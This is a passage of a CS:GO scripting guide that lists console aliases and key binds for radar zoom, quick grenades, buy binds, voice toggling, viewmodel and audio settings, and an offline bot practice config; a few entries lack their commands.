  279. alias keyBB "bind MWHEELUP radarzoomin"
  280. alias +radarzoom "keyA; keyB"
  281. alias -radarzoom "defA; defB"
  282. alias "radarzoomin" "ri4"
  283. alias "radarzoomout" "ro2"
  284. alias "ri1" "cl_radar_scale 0.2; alias radarzoomin ri2"
  285. alias "ri2" "cl_radar_scale 0.3; alias radarzoomin ri3; alias radarzoomout ro1"
  286. alias "ri3" "cl_radar_scale 0.4; alias radarzoomin ri4; alias radarzoomout ro2"
  287. alias "ri4" "cl_radar_scale 0.5; alias radarzoomin ri5; alias radarzoomout ro3"
  288. alias "ri5" "cl_radar_scale 0.6; alias radarzoomin ri6; alias radarzoomout ro4"
  289. alias "ri6" "cl_radar_scale 0.7; alias radarzoomin ri7; alias radarzoomout ro5"
  290. alias "ri7" "cl_radar_scale 0.8; alias radarzoomin ri8; alias radarzoomout ro6"
  291. alias "ri8" "cl_radar_scale 0.9; alias radarzoomin ri9; alias radarzoomout ro7"
  292. alias "ri9" "cl_radar_scale 1.0; alias radarzoomout ro8"
  293. alias "ro1" "cl_radar_scale 0.2; alias radarzoomin ri2"
  294. alias "ro2" "cl_radar_scale 0.3; alias radarzoomin ri3; alias radarzoomout ro1"
  295. alias "ro3" "cl_radar_scale 0.4; alias radarzoomin ri4; alias radarzoomout ro2"
  296. alias "ro4" "cl_radar_scale 0.5; alias radarzoomin ri5; alias radarzoomout ro3"
  297. alias "ro5" "cl_radar_scale 0.6; alias radarzoomin ri6; alias radarzoomout ro4"
  298. alias "ro6" "cl_radar_scale 0.7; alias radarzoomin ri7; alias radarzoomout ro5"
  299. alias "ro7" "cl_radar_scale 0.8; alias radarzoomin ri8; alias radarzoomout ro6"
  300. alias "ro8" "cl_radar_scale 0.9; alias radarzoomin ri9; alias radarzoomout ro7"
  301. alias "ro9" "cl_radar_scale 1.0; alias radarzoomout ro8"
  302.  
  303. Alternative Command
  304.  
  305. alias "+radar" "+use; cl_radar_always_centered 1; cl_radar_scale 0.60"
  306. alias "-radar" "-use; cl_radar_always_centered 0; cl_radar_scale 0.30"
  307. bind "(k)" "+radar;+lookatweapon"
  308.  
  309. *Where (k) is any key
  310. 10. Crouch Jump
  311. Useful for getting on top of boxes.
  312. A fairly useful script for reaching tough spots or moving from point A to B. Take, for example, the top left box on A site (inferno) or from cat to nest (mirage). Usually, it’s a two-step process, but now it’s condensed into one.
  313. Script Command
  314. *Where (k) is any key
  315. 9. Binds for Utility
  316. Throw utility significantly faster.
  317. Another fairly simple script. Basically, you’ll combine your knife with the desired grenade or utility, into one key. This is especially helpful when you're being rushed or to quickly catch your opponent off guard.
  318. Script Command
  319.  
  320. bind "(k1)" "use weapon_knife; use weapon_flashbang"
  321. bind "(k2)" "use weapon_knife; use weapon_smokegrenade"
  322. bind "(k3)" "use weapon_knife; use weapon_hegrenade"
  323. bind "(k4)" "use weapon_knife; use weapon_incgrenade; use weapon_molotov"
  324. bind "(k5)" "use weapon_knife; use weapon_decoy"
  325.  
  326. *Where (k) is one key for each item
  327. 8. Voice Chat Bind
  328. Now you can quickly decide if you want to hear your teammates or not.
  329. A short script that affects what you hear around you. Perhaps you need to focus, or just want to listen to music without any distractions. And of course, you can choose the key you like. Alternatively, you can use the script from the video (check the description).
  330. Script Command
  331.  
  332. voice_enable 1
  333. alias toggle_voice_1 "voice_enable 0; say_team *disabling voice*; alias toggle_voice toggle_voice_2"
  334. alias toggle_voice_2 "voice_enable 1; say_team *enabling voice*; alias toggle_voice toggle_voice_1"
  335. alias toggle_voice toggle_voice_1
  336. bind (k) toggle_voice
  337.  
  338. *Where (k) is any key
  339. 7. Bomb Drop
  340. It even comes with a message.
  341. This bind not only drops the bomb, but switches back to your previous weapon as well. You can also remove the message, if you prefer. It’s especially useful when you’re an entry player or lurker.
  342. Script Command
  343. *Where (k) is any key
  344. 6. Buy Binds
  345. Buy weapons with just the push of a key.
  346. Instead of opening the buy menu and clicking on a weapon, consider using this bind. It’s another simple script that tells the game what key to use for any buy. May not be much, but it does save some time before the start of a round. Alternatively, you can type the command in the console (check the video).
  347. Script Command
  348.  
  349. bind "(k)" "buy galilar; buy famas;"
  350. bind "(k)" "buy ak47; buy m4a1;"
  351. bind "(k)" "buy ssg08;"
  352. bind "(k)" "buy sg556; buy aug;"
  353. bind "(k)" "buy awp;"
  354. bind "(k)" "buy g3sg1; buy scar20;"
  355. bind "(k)" "buy mac10; buy mp9;"
  356. bind "(k)" "buy mp7;"
  357. bind "(k)" "buy ump45;"
  358. bind "(k)" "buy p90;"
  359. bind "(k)" "buy bizon;"
  360. bind "(k)" "buy nova;"
  361. bind "(k)" "buy xm1014;"
  362. bind "(k)" "buy sawedoff; buy mag7;"
  363. bind "(k)" "buy m249;"
  364. bind "(k)" "buy negev;"
  365. bind "(k)" "buy glock; buy hkp2000;"
  366. bind "(k)" "buy elite;"
  367. bind "(k)" "buy p250;"
  368. bind "(k)" "buy tec9; buy fiveseven;"
  369. bind "(k)" "buy deagle;"
  370. bind "(k)" "buy vest;"
  371. bind "(k)" "buy vesthelm;"
  372. bind "(k)" "buy taser 34;"
  373. bind "(k)" "buy defuser;"
  374. bind "(k)" "buy molotov; buy incgrenade;"
  375. bind "(k)" "buy decoy;"
  376. bind "(k)" "buy flashbang;"
  377. bind "(k)" "buy hegrenade;"
  378. bind "(k)" "buy smokegrenade;"
  379.  
  380. *Where (k) is one key for each item
  381. 5. CS:GO ~1.6 Viewmodel
  382. Goes back to the game’s original release date in 2013.
  383. A good viewmodel script to try out if you ever wanted to “play” 1.6 CS:GO. With this version, the player model and gun seem to be slightly tilted towards the right compared to CS:GO’s original viewmodel. Doesn’t hurt to try, after all.
  384. Script Command
  385.  
  386. viewmodel_fov "65"
  387. viewmodel_offset_x "2"
  388. viewmodel_offset_y "2"
  389. viewmodel_offset_z "-2"
  390.  
  391. Alternative Command
  392.  
  393. cl_viewmodel_shift_left_amt "0.500000"
  394. cl_viewmodel_shift_right_amt "0.250000"
  395. viewmodel_fov "68"
  396. viewmodel_offset_x "2.5"
  397. viewmodel_offset_y "-2"
  398. viewmodel_offset_z "-2"
  399. viewmodel_presetpos "0"
  400. viewmodel_recoil "1.0"
  401. cl_bob_lower_amt "5.000000"
  402. cl_bobamt_lat "0.100000"
  403. cl_bobamt_vert "0.100000"
  404. cl_bobcycle "0.98"
  405.  
  406. 4. Audio Settings
  407. Depending on your headphones, this could help you.
  408. An alternative to how you hear. Sometimes, loud noise is distracting, other times, you can’t hear who’s behind you; thus a change in audio settings may help. You can also try the settings from the video.
  409. Script Command
  410.  
  411. snd_headphone_pan_exponent 2
  412. snd_front_headphone_position "45.0"
  413. snd_rear_headphone_position "135.0"
  414. snd_front_stereo_speaker_position "45.0"
  415. snd_rear_stereo_speaker_position "135.0"
  416.  
  417. 3. CT Holding Sites
  418. Practice holding sites against lively bots.
  419. This script allows you to practice holding A or B sites from most competitive maps. Simply go to an offline map, choose a site, and execute the proper config. For example, “exec a_dust 2,” uses F6, F7, F8, for weapons whereas F9 respawns players. Below is just one example, but if you want access to more maps, go to the video above.
  420. Script Command
  421.  
  422. mp_t_default_primary weapon_ak47
  423. mp_maxrounds 9999
  424. mp_round_restart_delay 2
  425. mp_limitteams 0
  426. mp_autokick 0
  427. mp_autoteambalance 0
  428. mp_free_armor 1
  429. mp_freezetime 5
  430. sv_cheats 1
  431. bot_join_team t
  432. bot_quota 16
  433. bot_difficulty 3
  434. sv_infinite_ammo 1
  435. bind "E" "+use ;nav_add_to_selected_set;bot_goto_selected"
  436. give weapon_m4a1
  437. bind f7 "slot1;drop;give weapon_awp"
  438. bind f8 "slot1;drop;give weapon_ak47"
  439. bind f6 "slot1;drop;give weapon_m4a1_silencer"
  440. bind f9 "mp_maxmoney 60000;mp_buytime 9999;mp_buy_anywhere 1;mp_startmoney 60000;mp_roundtime 60;mp_roundtime_defuse 60;mp_roundtime_hostage 60;bot_all_weapons; exec a_inferno.cfg"
  441. bind f10 "bot_knives_only;exec a_inferno.cfg;"
  442. setpos_player 1 1821.008057 276.031250 160.031250;setang_exact 0.000000 37.029419 0.000000
  443. setpos_player 2 1604.915894 62.571014 128.210648;setang_exact 0.000000 48.534851 0.000000
  444. setpos_player 3 1744.266235 -56.102879 131.031250;setang_exact 0.000000 43.121338 0.000000
  445. setpos_player 4 1434.024048 111.304070 127.664490;setang_exact 0.000000 41.011230 0.000000
  446. setpos_player 5 1907.548218 1163.589722 160.031250;setang_exact 0.000000 331.254272 0.000000
  447. setpos_player 6 2154.818848 1149.146851 161.975327;setang_exact 0.000000 285.804596 0.000000
  448. setpos_player 9 2207.427246 932.913452 160.401779;setang_exact 0.000000 260.507813 0.000000
  449. setpos_player 10 1878.395874 -213.335541 256.031250;setang_exact 0.000000 38.310425 0.000000
  450. setpos_player 11 1809.794556 -349.273926 256.031250;setang_exact 0.000000 47.136841 0.000000
  451. setpos_player 12 1602.287598 -323.684509 256.031250;setang_exact 0.000000 5.559082 0.000000
  452. nav_add_to_selected_set
  453. bot_goto_selected
  454. say "a_inferno.cfg loaded";
  455.  
  456. 2. Left Hand Command
  457. Not just for left handed people.
  458. A simple command that changes your character (and their items) from the right to left hand side. CS: GO by default, however, uses the right hand command. Alternatively, you can type it in the in-game console. Worth a shot just to see what it’s like.
  459. Script Command
  460. 1. Switch Hands In CS:GO
  461. Could drastically improve your view.
  462. Although this is listed as number #1, any of these scripts may be of great help. That said, instead of constantly going back and forth between two keys, a bind is usually more appropriate, as in this case. Personally, I’d recommend using this command only when needed; otherwise, constantly flipping back and forth makes it much harder to adapt to any view model.
  463. Script Command
  464. *Where (k) is any key
  465. You may also be interested in :
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement